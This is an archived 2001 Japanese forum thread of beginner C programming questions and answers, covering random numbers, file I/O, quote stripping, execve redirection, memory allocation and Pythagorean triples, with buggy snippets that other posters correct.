今だ!!キリバンゲットォォォォ!!  ̄ ̄ ̄ ̄ ̄∨ ̄ ̄ ̄ (´´ ∧∧ ) (´⌒(´ ⊂(゚Д゚⊂⌒`つ≡≡≡(´⌒;;;≡≡≡  ̄ ̄ (´⌒(´⌒;; ズザーーーーーッ
日本語は今更駄目そうだから せめてお前の使う記述言語の言語仕様書を見せろ。
>>496-498 srand(time(NULL));
if (rand()%3 == 0)
A += 1;
/*
else
A += 0;
*/
こういう話?
503 :
名無しさん :01/10/01 22:14
すみません、もっと詳しく書きます。 AとBがゲームをしており、 Aがかつと+1 負けると+0 となります。 このAのかつ確立を1/3とすると、 ゲームを1000回続けた時どのような 値に収束するか?というような意味の問題を扱っています。 そこで、 確立1/3で A+1 確立2/3で A+0 としたいのです。
504 :
名無しさん :01/10/01 22:17
つきつめて言うと ランダムな 0から1までの値を ある変数にセットする方法を教えてください。
乱数が3で割り切れたら1、そうでない場合は0をAに代入する。 ちなみにC標準関数の乱数はばらつきに限界があるんで適当な 乱数生成アルゴリズムも検討したりしなかったり。
506 :
デフォルトの名無しさん :01/10/01 22:23
507 :
名無しさん :01/10/01 22:25
508 :
名無しさん :01/10/01 23:24
すみません、また問題がおきました。 厨房で、すみません。 というのは、 先程の話の続きですが、aがあるゲームをしており、 得点が、ゲームの1ラウンドで、 aが勝つと+1 aが負けると-1 となるようにします。 このゲーム自体の勝ちは、aが20になったら勝ちとしております。 aの初期値を(a=i,0<=i<=20)として、a が勝つ回数を数えているのですが、 以下のコードでは、なぜか各ラウンドでaが勝ち続けてしまいます。 調べて見るとrand() が毎回同じ値を返しているのです。 この対策法をどうか教えてください。 急いでいます。 while((a<20) || (a=0)){ srand(time(NULL)); if (rand()%3 == 0){ a += 1;} else{ a -= 1;} if(a=20){ win[i]++; } }
509 :
デフォルトの名無しさん :01/10/01 23:25
毎回srandするなYO!
warata Z80とかでやれば、ある時期を境にaが負けはじめるかもよ
511 :
名無しさん :01/10/01 23:29
それは、一回目のsrand以降は randだけにしろということでしょうか。 ほんと厨房で申し訳ないです。
512 :
デフォルトの名無しさん :01/10/01 23:31
どうでもいいが、a=0とかa=20とかマジで書いてる?
513 :
名無しさん :01/10/01 23:32
a==0 とかが正しいのでしょうか? まじで、1年Cを触らなかったら さっぱり忘れてしまいました。
ネタにマジレスかこわるい
マニュアルを読めないのか 読まないのか どっちなんだ?
516 :
デフォルトの名無しさん :01/10/02 00:46
バイナリーエディターを作りたいのですが バイナリーで読むためのファイルの開き方と 16進での表示の仕方がよくわかりません わかる人がいましたら、よろしくお願いします
fopen fread bin2hex 以上PHPでした
>>508 void main(void)
{
int a = 0;
int i = 0; // 試合数のカウント
srand(time(NULL));
while(a != 20)
{
if (rand() % 2 == 0) // 勝ったとき
{
a += 1;
}
else // 負けたとき
{
a -= 1;
}
i++;
}
printf("%d\n", i);//試合数の出力
}
違ってたらスマソ。
519 :
ビル・ジョブス :01/10/02 13:03
ビットフィールドはデバイスのI/Oなんかによく使うよ。 構造体へのポインタかぶせてね。
520 :
ビル・ジョブス :01/10/02 13:13
5ビットの整数(符号あり・なし) とか作れて便利だよ。
>>508 aの勝利条件だけで敗北条件がないから、いつかは必ずaが勝つ。
522 :
クリントン :01/10/02 16:47
いきなりですが、お暇なら付き合ってください。 えーと、例えばa.txtってファイルがあったとしますよね。 ファイルの中には文字列がたくさんなわけなんですが、 そのなかにある「"」を全部削除したいんです。 何行ぐらいでかけるでしょうか?
2行あれば書けるな
普通に書いても4行くらいかな #include <stdio.h> int main() { while(以下略 return 0;}
リダイレクト使うか否かによって違う。
528 :
クリントン :01/10/02 17:02
ズルい女になるところでした。 ずばり、 記述してください。お願いします・・・。
529 :
デフォルトの名無しさん :01/10/02 17:05
#define 使うのとenum使うのでは enumを使ったほうが良いとしている参考書やWeb上のドキュメントは多くありますが 事実define ばかり使われているのは何故ですか?
enum がもし enum MyConst{ ver=10;}; と定義して MyConst.ver と使うような仕掛けだったら きっと もっと使われたでしょうね・・・・
>>528 #include <stdio.h>
main(){int c;while(c=getchar(),c^EOF)c^34?putchar(c):0;}
>>529 使う人は使ってます
532 :
デフォルトの名無しさん :01/10/02 17:31
別に今のままの状態でもdefineに劣るところはないと思いますが。 古い環境ではサポートされていないからでしょうか? 流れにあわせてdefineを使っていますが 実際にenum使うと問題起きると思います?
533 :
デフォルトの名無しさん :01/10/02 17:32
>>522 #include <stdio.h>
int main(void){int ch;long l=0L,m=0L;FILE *fp=fopen("a.txt","r+");
do{fseek(fp,l,SEEK_SET);ch=fgetc(fp);if(feof(fp)||ferror(fp)) break;
if(ch!='"'){fseek(fp,m,SEEK_SET);fputc(ch,fp);m++;}l++;}
while(!feof(fp)&&!ferror(fp));fclose(fp);return 0;}
//ファイルの最後にゴミがでるだろうな。
>>532 enum { A, B, C=A|B}; とはできない。
535 :
クリントン :01/10/02 17:37
>>533 本当に5行で書けるとは・・・
正直、疑ってました・・・
世の中にはすごい人がいくらでもいるんですね・・・
・・・すばらしい
>>535 バグを消してもっと短く書けます。
ただ、ここを7行スレと同じにするつもりはないので自分で考えて
>>527 要件から見てフィルタであることが明らかなので、普通はリダイレクト使うと思われ。
>>535 これくらいできない奴はプログラマではない。
538 :
クリントン :01/10/02 17:47
>>537 すいません、疑っているわけではないのですが、
別解ありましたら書いていただけますか?
>>538 526を見よ。略されてる部分は推して知れ。
#include <stdlib.h> int main() { system("sed -e 's/"//g' a.txt"); return 0; }
"sed"やリダイレクトが無いシステムってどんなシステムやねん。 #include <stdio.h> int main(void){int c; FILE *in_f,*out_f; in_f=fopen("a.txt","r"); out_f=fopen("a-new.txt","w"); do{if(!((c=fgetc(in_f))^EOF)) goto _go_out; (c!='"')&&fputc(c,out_f);}while(1);_go_out: fclose(in_f);fclose(out_f);return 0;} // 日本語ファイルはだめ。
remove("a.txt"); rename("a-new.txt", "a.txt");
>>541 の間違い発見!
>system("sed -e 's/"//g' a.txt");
system("sed -e 's/\"//g' a.txt");
なんでこんなしょーもない題材で熱くなるんだ? 7行スレにでも参加しろよ
>>545 > 7行スレにでも参加しろよ
こんな題材7行も書く価値はない
>>546 いや、な。これをもっていくんじゃなくて、
こんな題材に熱くなる暇があるなら、
7行スレやIOCCCに参加しろってこと。
7行すれもネタが無くて寂しいから
7行スレはどこですか?
execveを使ってプログラム中から別のプログラムを実行する事はできたのですが、 その実行結果をファイルに落とすのはどうすればいいのでしょうか? … argv[3] = ">"; argv[4] = data; argv[5] = 0; ではunrecognised optionと言われました
'>' とかのリダイレクト記号はシェルが解釈してるなり。 exec する前に標準出力を結果を出力したいファイルにリダイレクトしとくなり。
>>550 すみません、いまいちよく分からないのですが
もう少し詳しく教えて頂けないでしょうか?
>>551 fd = open("data", ...);
dup2(fd, STDOUT_FILENO);
close(fd);
execve(...);
みたいな。
>>553 ありがとうございます
助かりました、今からやってみます
555 :
デフォルトの名無しさん :01/10/02 23:04
ファイル名を使って格納されている外部ファイルを開くのと、 メモリ内にポインタ変数を用いて格納されている値を参照する ことの類似性についておしえてクダサイ。
557 :
デフォルトの名無しさん :01/10/02 23:26
GetOpenFileName()は、システムからファイル名パスを取得し、 ofn.lpszstrの示す文字列ポインタの示す場所へ、それを格納し、 直後のCreateFile()が一時ハンドルを取得し、さらに次のReadFile() が、その引数のしていする文字列ポインタの場所にバッファを格納する、 これでいいですか?
>>555 ファイルハンドルとポインタの類似性ですか?
ファイルハンドルはOS内の或る配列のインデックスじゃなかった?
559 :
デフォルトの名無しさん :01/10/02 23:35
う〜ん、わからないけどmemsetって大事ですか?
>>559 「連続した記憶領域を或る値に書き換える」と覚えておきましょう。
文字列もどこかの記憶領域に格納されていることを考慮すれば、
文字列を全部空白にする、ってことも可能ですね。
563 :
chichi :01/10/03 00:47
こんばんわ! 現在Cの勉強をはじめたばかりで、右も左もわかりません! ご教授、よろしくお願いします。 勉強&Cのファイル操作把握がてら、下のような簡単なソースを作成してみたのですが、 これを、 tempファイルの作成(temp.txt)→正しく作成されたかチェック→ tempファイルに出力(temp.txt)に出力→正しく出力されたかチェック→ ファイル閉じる→正しく閉じたかチェック ・・・と変更したいのですけど、参考書などを見てもあまりよくわからなくて・・・ #include <stdio.h> #include <stdlib.h> writefile(){ FILE *fp; char tofile; printf("書き込むファイル名:"); gets("tofile"); if((fp* = fopen(tofile,"w")) == NULL){ printf("ファイルをオープンできません。\n"); exit(1); } fclose(fp*); return(0); } ビギナーな質問ですみませんが、 よろしくお願いします!m(__)m
564 :
デフォルトの名無しさん :01/10/03 00:50
565 :
chichi :01/10/03 00:55
>>564 あ、そこまちがえました・・・。
if((*fp =fopen(tofile,"w"))==NULL){ ・・・でした。すみません。
つーか、'*' つけじゃいかんでしょ fp に。
568 :
デフォルトの名無しさん :01/10/03 00:58
>563 まずgets("tofile"); が意味不明 tofileっていう変数に文字列入れたいなら char tofile[100]; gets(tofile); と書け。 ファイルポインタの使い方も変。 ×if((*fp = fopen(tofile,"w")) == NULL){ ○if((fp = fopen(tofile,"w")) == NULL){ ×fclose(fp*); ○fclose(fp);
でもファイルポインタがなんなのか理解すればいい感じっぽい。
570 :
デフォルトの名無しさん :01/10/03 01:00
<stdio.h> の tmpnam, tmpfile 関数を使わないの?
>>563 #include <stdio.h>
int main(int argc, char *argv)
{
FILE *file_ptr;
char output_file[100];
printf("書き込むファイル名 >");
scanf("%s", output_file);
if((file_ptr = fopen(output_file, "w")) == NULL) {
printf("ファイルをオープンできませんでした。\n");
return -1;
}
fclose(fp);
return 0;
}
fclose(fp);に関しては忘れてくれ。 それから、オーバーフロー起こすとかも言わないでくれ。
mainの第二引数が怪しいのも、突っ込まないようにするよ。
分かった、分かった。直したよ。 オーバーフローもしないけど、100字より長い名前のファイルを 作りたいとは言わないでくれよ。 #include <stdio.h> int main(int argc, char *argv[]) { FILE *file_ptr; int i, input_char; char output_file[100 + 1]; printf("書き込むファイル名 >"); for(i = 0; i < 100 (input_char = getchar()) != EOF) && input_char != '\n'; i++) output_file[i] = input_char; output_file[i] = '\0'; if((file_ptr = fopen(output_file, "w")) == NULL) { printf("ファイルをオープンできませんでした。\n"); return -1; } fclose(file_ptr); return 0; }
575 :
chichi :01/10/03 01:14
皆さんいろいろありがとうございます・・・。 早速試してみます。
>>574 普通、素直に fgets() じゃないの?
つーか、変数名うざいね。(w
闇雲に説明的なのより慣用句にしたがったほうが読みやすい。
577 :
_________ :01/10/03 01:54
>>576 fgetsでどうやってオーバーフロー対策するつもりだ?
つーか、知ったかうざいね。(w
578 :
えめえすでーえぬ :01/10/03 01:57
/* FGETS.C: このプログラムは、fgets 関数を使って、ファイルから 1 行読 * み出し、スクリーンに表示します。 */ #include <stdio.h> FILE *stream; void main( void ) { char line[100], *result; if( (stream = fopen( "fgets.c", "r" )) != NULL ) { if( fgets( line, 100, stream ) == NULL) printf( "fgets 関数でエラーが生じました。\n" ); else printf( "%s", line); fclose( stream ); } }
580 :
デフォルトの名無しさん :01/10/03 01:59
>>577 予め、システムで定められた上限を超えないこと。
581 :
デフォルトの名無しさん :01/10/03 02:02
しったかっていわれちゃたーよ(T_T)
>>577 gets() とカンチガイ?
char *fgets(char *str, int size, FILE *stream);
>>578 △ if( fgets( line, 100, stream ) == NULL)
○ if( fgets( line, sizeof(line), stream) == NULL)
>>574 > for(i = 0; i < 100 (input_char = getchar()) != EOF) && input_char != '\n'; i++)
継続条件がヘン。
584 :
デフォルトの名無しさん :01/10/03 07:15
>>331 のソースをgccでコンパイルしたら何も問題なかったのですが、
コンパイラが適当に何かやってくれたんだろうか・・。
かなり疑問なので分かる人教えれ。
>>584 何が疑問なのですか?
まずはプログラムをちゃんと読んでから質問するように。
一箇所気になるところは、
*p++よりもp[i]のほうがわかりやすいと思うのですがどうでしょうか?
(前者の方がほんのわずかに実行効率がいいのですが・・・)
出たばかりのどうしようもないコンパイラでない限り、効率は同じだゴルァ
587 :
デフォルトの名無しさん :01/10/03 07:42
>>584 関数に飛ばしたあとに何か変数をつくって
スタックをつぶしてみな
588 :
デフォルトの名無しさん :01/10/03 07:47
>>586 それはどうかな?
C++Builder4 とVC++(VisualStudio6.0)
でテストしたときにはあきらかに違ったよ。
gccでは知らん
>>588 の続き
ただし
for(int i=0;i<3;i++){}
の代わりに
while(p<p_max){}
を使ってループした場合だけどね
590 :
クリントン :01/10/03 09:40
まだ一晩しか悩んでいないのですが、 #include <stdlib.h> int main() { system("sed -e 's/"//g' a.txt"); return 0; } がなにをやっているのかさっぱりです。 ヒントをいただけたらなぁ・・・ ヒントください。
>>590 systemというのは、まあ
それを起動したシェルで""で囲んだ中の処理を実行する関数だな。
system("dir"); とか system("ls"); とかやってみて。
sed は、まあ
適当な文書整形をやってくれる人。
よく知らん。googleかmanを見れ。
592 :
デフォルトの名無しさん :01/10/03 09:45
>> 590 sedにつてgoogleで調べよ。 ちなみに今使っているOSはなんですか?
sedって名前のDOS用スクリーンエディタがあった気がする。
sed はMS-DOSにはないコマンドだよ。 UNIX系のOSである必要があると思うよ。
595 :
デフォルトの名無しさん :01/10/03 09:52
>>587 関数に飛ばしたあとCでは変数作れませんよね?
「スタックをつぶす」というのがどういうことか教えてください。
596 :
クリントン :01/10/03 09:57
>>592 windows2000です。
UNIX以外は関係なかったんですね。
ダブルクォーテーションを消すだけでも
結構難しいものです・・・
しかしここは結構勉強になりますね。
597 :
教えてください :01/10/03 18:20
C初心者です。 ひとつ質問なのですが、 getcharやgetcheで、入力を待ち受けているときに 1秒たったら、 getcharやgetche処理を中止して 次の処理に移りたいのですが、うまくいきません。 time_t t1; t1 = time( NULL ); while( ( time( NULL) - t1 ) / CLOCKS_PER_SEC <= 1 ) dt = getche(); なんて、やってみたら 逆に永遠にgetcheしていました。 何かよい方法はないのでしょうか?
598 :
デフォルトの名無しさん :01/10/03 18:24
>>597 汎用的な方法はないはず。Unix だったら man setitimer してみて。
Windows は他の人にまかせた。
/* F1=1,F2=1であるフィボナッチ数列の第n項目をFnとする。 2数a,bの最大公約数を[a,b]とする。 例えば、[63,81]=9である。 このとき、1以上の自然数に含まれる二数、m,nについて、 F[m,n]=[Fm,Fn] であることを確かめる */ #include <stdio.h> #include <stdlib.h> int f[30]; void fib(void); void fib_print(void); void check(void); int main(void) { printf("フィボナッチ数列を30項まで表示します\n"); fib(); fib_print(); check(); printf("プログラムを終わります"); return 0; } void fib(void) { int i; f[0]=1; f[1]=1; for(i=2 ; i<30 ; i++) { f[i]=f[i-1]+f[i-2]; } } void fib_print(void) { int i; for (i=0 ; i<30 ; i++) { printf("%7d",f[i]); if((i+1)%9==0) printf("\n"); } }
int gcd(int a, int b) { int r; if(a<0) a = -a; if(b<0) b = -b; while(b != 0){ r = a % b; a = b; b = r; } return a; } int reduct(int *a, int *b) { int gcd_ab; gcd_ab = gcd(*a,*b); *a /= gcd_ab; *b /= gcd_ab; return gcd_ab; } void check(void) { int m,n,r,s; printf("\nF[m,n]と[Fm,Fn]を比較します\n"); printf("m:"); scanf("%d",&m); printf("b:"); scanf("%d",&n); printf("Fm=%d,Fn=%d\n",f[m-1],f[n-1]); s=reduct(&f[m-1],&f[n-1]); r=reduct(&m,&n); printf("F[m,n]=%d\n",f[r-1]); printf("[Fm,Fn]=%d\n",s); }
自分でプログラム組んでみたんですが どこか問題があるでしょうか? 良くないと思う部分はどんどん教えてください。
>>597 その質問は処理系依存です。
OSと処理系を明示してくれんと答えられない。
603 :
デフォルトの名無しさん :01/10/03 18:31
>>597 あなたの求めている関数は標準ライブラリには存在しないと思います。
UNIXではXの関数を使ってやりました。
Windowsでは開発環境依存のイベントを使ってやりました。
604 :
デフォルトの名無しさん :01/10/03 18:33
ちっ、うるせーな
607 :
デフォルトの名無しさん :01/10/03 18:59
>>597 unix だったら select か poll 使うのが普通だと思う
はい・・・じゃぁ他へ 行ってきます・・・わざわざありがとうございます
>>606 > 自分で考える脳味噌がないなら逝ってよしー
おまえもな
自分で作ったプログラムが良いプログラムかどうかを
自分で考えることができるのかい?
お答えありがとうございます。そして
言葉足らずですみません。
>>602 一応VCで作っています。(Win Me)
>>603 Windowsでは開発環境依存のイベントを使うと
具体的にどうなるのでしょうか?
611 :
デフォルトの名無しさん :01/10/03 19:18
>>610 C++Builderならばイベントを使えばあなたの目的は達成される。
VCならば....わたしはVCはよくわからない。
偽者発見!
>>605 は僕ではありません。本当です
613 :
デフォルトの名無しさん :01/10/04 01:21
rrrrrrrrrrrrrr aaaaaaaaaaaaa ss wwwwwwwww 222222222222 wwwwwwwwwwwww eeeeeeeeeeeeeee rrrrrrrrrrrrrr ddddddddddd xxxxxxxxxxxxx cccccccccccccc vvvvvvvvvvvvv bbbbbbbbbbbb ghhgggg
614 :
デフォルトの名無しさん :01/10/04 13:46
簡単なメモリー管理ってどうやる?
615 :
デフォルトの名無しさん :01/10/04 13:51
#include <malloc.h> malloc の返り値をポインタに置き、ポインタ先の内容を使う。 必要無くなったら、free を呼んでメモリ解放ってか。
もっと具体的に教えてください
617 :
デフォルトの名無しさん :01/10/04 13:57
調べりゃ分かるさ。マニュアル有るならマニュアル見る。 VC++なら[F1]を押して、クリッククリック。
618 :
デフォルトの名無しさん :01/10/04 14:32
メモリー確保・解放のロジック教えて
>>618 自分のOSの仕組みを調べるしかないな。
MS-DOSを除いて根底でメモリ管理やっているのはOSだから。
620 :
デフォルトの名無しさん :01/10/04 14:42
メモリー確保・解放ってどうやってるの?
622 :
デフォルトの名無しさん :01/10/04 14:55
聞き方が悪くてすみません。 LocalAlloc()・LocalFree()などの、仮想記憶を含めて 内部ロジックが知りたいのですが? x86依存してかまいませんが、そんなに依存しませんよね。
Local〜なんかはWindows依存だから置いておくとして、 x86のメモリ管理なら、 インテル・アーキテクチャ ソフトウェア・デベロッパーズ・マニュアル 下巻 の3章を読め
625 :
デフォルトの名無しさん :01/10/04 15:09
聞き方が悪くてすみません。
LocalAlloc()・LocalFree()などの、仮想記憶を含めて
内部ロジックが知りたいのですが?
x86依存してかまいませんが、そんなに依存しませんよね。
ほとんどC言語で書かれてますよね、きっと。
>>621 確保できた場合には表示してませんが、それは仕様ですか?
あと、こう書いたほうが良いとおもいますが・・・
#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
int main(void)
{
char *str;
if((str = malloc(256)) == NULL) {
puts("容量足らへん");
exit(-1);
} else {
sprintf(str, "メモリの%s, %sたよ", "確保", "でき");
puts(str);
free(str);
exit(0);
}
}
なるほど、ネタだったのね。 マジレスしてしまった623
628 :
デフォルトの名無しさん :01/10/04 16:20
フルスペックの、sprintf()自作した方居ます?
>>628 超サブセットなら。
というかBASICやってたころね。
>>628 sprintf() 作る前に文字列を type==int, long, double型に
変換する char *str2type(char*, type*) のような関数を書かなきゃ。
631 :
デフォルトの名無しさん :01/10/04 16:43
8進数、10進数、16進数、エスケープシーケンスも。
632 :
ビル・ジョブス :01/10/04 17:11
浮動小数点を省いて全て作ったよ。 浮動小数点むちゃくちゃ大変じゃない?
633 :
デフォルトの名無しさん :01/10/04 17:14
ビル・ジョブス、君のsprintf() は MBCS に対応しているかい? MBCS にしないと、日本のプログラマはHゲーム送ってくれないよ。
634 :
ビル・ジョブス :01/10/04 17:18
Hゲームはいらないが、MBCSには対応していない、 というか、対応する必要が無い。
635 :
デフォルトの名無しさん :01/10/04 17:22
ビル、それはひどいよ。着物を着ている人たちはシフトJIS使ってんだぜ。 君の会社が対象にしているマーケットは何だい?
637 :
ビル・ジョブス :01/10/04 17:33
漢字使わない世界向けだからよし!
HA,HA,HA! ビル、悪い冗談だぜ。地球人の5人に1人は漢字を使う中国人だぜ?
639 :
デフォルトの名無しさん :01/10/04 19:04
中国人は日本人以上に英語分かりますよ。
640 :
ビル・ジョブス :01/10/04 19:12
じゃ、その5人中の4人に売るからいーよ
641 :
デフォルトの名無しさん :01/10/04 22:55
short型の変数をprintfで出力するとき、書式は%dと%hdのどっち? printfに渡った時点でintにプロモートしてるから%dでいいと思うんだけど、 そうなると%hdの存在理由は?
>>641 short=int=4バイトでなかった?
C,C++の話しだけどね
>>642 環境依存
ANSI だと、確か
short <= int <= long
%hdて何?
646 :
ビル・ジョブス :01/10/05 01:11
みんなー処理系依存していませんかー 厨房丸出しですよー
647 :
デフォルトの名無しさん :01/10/05 02:15
ttp://www.pro.or.jp/~fuji/mybooks/cpro/cpro.0.6.html にある、ピタゴラスの計算を最速で実行するアルゴリズムの答えが
知りたいです。とりあえず、自分の考えたのは次のようなやつ:
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
int main(int argc, char *argv[])
{
/* 最大の数 */
int maxnum;
int a, b;
int a2, b2;
double c, c2;
if (argc != 2) {
printf("usage: pythago num\n");
return 1;
}
maxnum = atoi(argv[1]);
for (a = maxnum; a > 0; --a) {
for (b = a - 1; b > 0; --b) {
a2 = a*a;
b2 = b*b;
c2 = a2 - b2;
if (c2 < 0 || c2 > b2)
continue;
c = sqrt(c2);
if (c - (int)c == 0)
printf("%d %d %d\n", b, (int)c, a);
}
}
return 0;
}
みずらいので、投稿しなおし。。 #include <stdio.h> #include <stdlib.h> #include <math.h> int main(int argc, char *argv[]) { /* 最大の数 */ int maxnum; int a, b; int a2, b2; double c, c2; if (argc != 2) { printf("usage: pythago num\n"); return 1; } maxnum = atoi(argv[1]); for (a = maxnum; a > 0; --a) { for (b = a - 1; b > 0; --b) { a2 = a*a; b2 = b*b; c2 = a2 - b2; if (c2 > b2) break; c = sqrt(c2); if (c - (int)c == 0) printf("%d %d %d\n", b, (int)c, a); } } return 0; }
>>647-648 アルゴリズム的なことはおいといて、
不動小数点演算回路があるとしても、
double をつかうとプログラムの効率が落ちるのでできるだけint を使うように。
int でだめならlong.
longでだめならlong2つに分けるなどして計算する方が早い。
不動?
浮動 感じ返還間違えただけ!
>>647-648 > (6,8,10)は全ての数を2で割ることにより(3,4,5)になるので、このような公約数のある場合は除きます
お前のプログラム、除けてないやん。
>>652 スマソ..
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
int gcm(int a, int b);
int main(int argc, char *argv[])
{
int maxnum = 1000;
int a, b;
int a2, b2;
double c, c2;
int cnt = 0;
for (a = maxnum; a > 0; --a) {
for (b = a - 1; b > 0; --b) {
a2 = a*a;
b2 = b*b;
c2 = a2 - b2;
if (c2 > b2)
break;
c = sqrt(c2);
if (gcm(b, (int)c) != 1)
continue;
if (c - (int)c == 0) {
++cnt;
printf("%5d %5d %5d %5d\n", cnt, b, (int)c, a);
}
}
}
return 0;
}
int gcm(int a, int b) { int c; if (a < b) return gcm(b, a); c = a%b; if (c == 0) return b; return gcm(b, c); } ~
int main(int argc, char *argv[]) { int maxnum = 1000; int a, b; int a2, b2; double c, c2; int cnt = 0; for (a = maxnum; a > 0; --a) { for (b = a - 1; b > 0; --b) { a2 = a*a; b2 = b*b; c2 = a2 - b2; if (c2 > b2) break; c = sqrt(c2); if (c - (int)c == 0) { if (gcm(b, (int)c) != 1) continue; ++cnt; printf("%5d %5d %5d %5d\n", cnt, b, (int)c, a); } } } return 0; }
656 :
デフォルトの名無しさん :01/10/05 03:48
オリジナルがコンパイラの最適化オプション最大にして、 うちのマシンでだいたい、10秒強。 655のほうが、コンパイラの最適化オプション最大にして、 うちのマシンでだいたい、0.2秒強。
#include<stdio.h> int main(void) { int a, b; int x, y, z; int cnt = 0; for (a = 2;;a++){ for (b = 1;b < a;b++){ x = a*a - b*b; y = 2 * a * b; z = a*a + b*b; if (gcd(y,z) != 1) continue; cnt++; printf("%5d %5d %5d %5d\n", cnt, x, y, z); } } } int gcd(int a, int b) { int c; if (a < b) return gcd(b, a); c = a%b; if (c == 0) return b; return gcd(b, c); }
659 :
デフォルトの名無しさん :01/10/05 04:59
>>657 すばらしい。答えもあってるようなんだけど、その式で間違いないことを
言うには、
「x^2 + y^2 = z^2」を満たすような自然数x, yは、かならず
x = a^2 - b^2
y = 2a*b
(a, bはともに自然数)であらわせる」
っていうことが証明できないといけないような。
>>658 > このスレはコンパイラではありません。
> まずコンパイラにかけて実行できるか確かめてください。
コンパイル通らないのあるか?
つか君が全角インデント消さずにコンパイルにかけただけだろ?
> 学校の課題は自分の力でやりましょう。
>>647 読んだ?
>>657 どうでもいいけどそのプログラムは動かないよ。
人に聞くのも才能かもしれんけど 人の脳みそを使うアホPGを養成するのは御免だからね。
663 :
デフォルトの名無しさん :01/10/05 05:07
最大公倍数なんて言っている奴は中学校へ逝け。 てゆうか君はもしかして消防?
PCが買えずコンパイラも買えない貧乏な 小学生か中学校低学年ならばレスしよう。 もし大学生、社会人だったら芯でくれ。
>>659 「ピタゴラス数」を google で検索したら
それっぽいのが出てきたのでコードにしてみただけっていう…。
証明は多分ちゃんとされてるものっぽいので探せばでてくるんじゃないかな。
>>661 うちではちゃんと動いたけど…。
gcd()のプロトタイプ宣言が抜けてるとか?
>>664 > gcm = 最大公倍数?
ってのは最大公約数は gcm じゃなくって gcd だろって話です。
m じゃ公倍になるやんていう…。
>>666 うそ言ってはいけません。このプログラムが動くはずがありません。
ちゃんとコピぺしましたか?
>>667 ちゃんと動きましたが…。
具体的にどう動かないのですか?
コンパイル通る?
>>666 中学校からやり直してください。
最大公倍数などありません。
もし社会人で部下だったら即首です。
>>668 何度も言うように動くはずがありません。
コンパイル通る?などと聞く時点で嘘がばればれです。
>>669 いや、だから gcm だと
gcm = greatest common multiple = 最大公倍数
になっちゃうでしょって話。
正しくは
gcd = greatest common divisor = 最大公約数
>>670 というか、ネタなんですか?
>>671 中学校からやり直してください。
最大公倍数があるか中学校の教科書を読み直してください。
もし社会人で部下だったらクビです。
何度も言うようにコンパイル通るはずがありません。
このスレへのコピぺで間違えていないか確認してください。
673 :
デフォルトの名無しさん :01/10/05 05:36
>>671 いんや、GCM は、Greatest Common Measure の略で、
こっちの方が GCD より一般的だと思う。
(て言うか、俺、学校では GCM っていう言い方しか習わなかった。)
673 習ったということは高校以上ですか? それにしては頭悪すぎです。 あなたも中学校からやり直しです。
>>673 うわ、初めて知った(恥
google で日本語のページ検索したら
Greatest Common Measure の方が多かったや…。
どうも勉強になりました。
アホ言ってスミマセンでした。
676 :
デフォルトの名無しさん :01/10/05 05:42
>>658 なんか、楽しくなってきた。。(笑)
ちなみに
>>658 は、どっかから脳みそコピペしてこないと、
どうしようもありません、ってことで。
>>658 さん
(最大)公約公倍数は小学校で習う物で、中学校ではやらないと思いますよ。
最小公倍数、最大公約数との間違いではないですか?
>>678 すまん。
公倍公約数って書こうとしたら
(最大)も書いておこうと思ってしまって最小を忘れてました。
最大公倍数など無意味です。 最小公倍数との間違いではないですか? まだ最大公倍数を主張するならば小学生からやり直してください。
>>673 ちなみに最小公倍数は LCM (least common multiple) だよね?
他の呼び方があるとか?
>>681 スミマセン。
僕が間違ってました。(
>>677 は。)
もう最大公倍数なんて言いません。
許して下さい。
どうでもいいよ そんなもん求めても腹の足しにならん
>>684 了解しました。許してください。すみません。頑張って勉強します。
>>685 うん…。ネタだしね…。スレ汚れるだけだしね…。
どうでもいいけど
>>657 は動かないはずです。まず自分でコンパイルが通るかテストしてください。
私が間違えていました。コンパイル通ります。 逝きます。
gccではコンパイル通りそうですね。 C++BuilderやVC++ではプロトタイプを main以前に置くか、mainを最後にもってくる必要があると思います。
ジョブス、メール見たぜ。君のsprintfをこちらのライブラリに 組み込んだぞ。関数名は FormatMessage。こいつはすごいぜ。 sprintf と同じように使えるように Format, AFormat という スタブも用意したぜ。AFormat は動的な sprintf。デバッグ版も シカゴのサーバに置いといた。sprintf と多少書式が違うが 気にしないでくれ。 char *str = NULL; AFormat(&str, "これは%1!d!個の%2です。", 3, "リンゴ"); LocalFree((HLOCAL)str);
&&&&&&&&&%%%%%%%%%%%&&&&&%%%%555555555
_______________________________________________________________
★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆
Del厨断末鬼の叫び!!!
拙い言いがかりからRubyを必死に煽ろうとしたDel厨が逆襲を受けて死亡!
理論的にDelphiはRubyの足元にも及ばないことが証明された!!!
「Ruby撲滅スレ」
http://piza2.2ch.net/test/read.cgi/tech/1001125342/ ★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆
692 :
デフォルトの名無しさん :01/10/06 18:52
cygwinのgccのmallocで文字数+1のメモリを確保して文字列を表示させたとき 文字列の最後にかぎかっこみたいな変な記号が出るんですが・・。 文字列+2文字以上確保すると消えます。同じような現象起こる人いませんか? cygwinでは\0が1バイトじゃないんでしょうか?
文字列の最後に\0を自分でいれる必要があるのでは
694 :
デフォルトの名無しさん :01/10/06 21:14
質問があります。 EOFというのは文字通りファイルの終わりという意味なんでしょうが、 いまいち意味がわかりません。 例えば int c; while ((c = getchar()) != EOF) putchar(c); というものがあった場合、コレはいつ終わるんでしょうか?
for(;;){ c = getchar(); // 一文字取得 if(c == EOF) break; // 取得に失敗==ファイルの終わりなら抜ける putchar(c); // 取得した文字を表示 }
CTRL+D(CTRL+Z)等が押されたときに
>>695 たぶん、キー入力にいつ終わりが来るのか、と言うことが知りたいと思われ。
>>696 が正解かと
>>695-697 なるほど、696を実行したところ終了しました。 って当然ですがw
ありがとうございました。
すまん!i++と++iの違いを教えてくれ!
700 :
デフォルトの名無しさん :01/10/06 22:18
しまった。さげてしまった。あげ
>>699 i++はあとでインクリ
++iはさきにインクリ
>>699 iが5なら
x = i++;
だとxは5だけど、
x = ++i;
だとxは6になる。
703 :
デフォルトの名無しさん :01/10/06 22:48
704 :
デフォルトの名無しさん :01/10/07 00:51
forの中で宣言した変数はforから出ても、開放されないんですか?
705 :
デフォルトの名無しさん :01/10/07 00:54
開放って変数の有効期限のことか?
LispのインタープリタをCで書くって何からしたらいいの? 何か参考に出来る本あります? 2000行のプログラムなんて書けんよ…。
>>704 C使ってるならforの中で宣言するな。
708 :
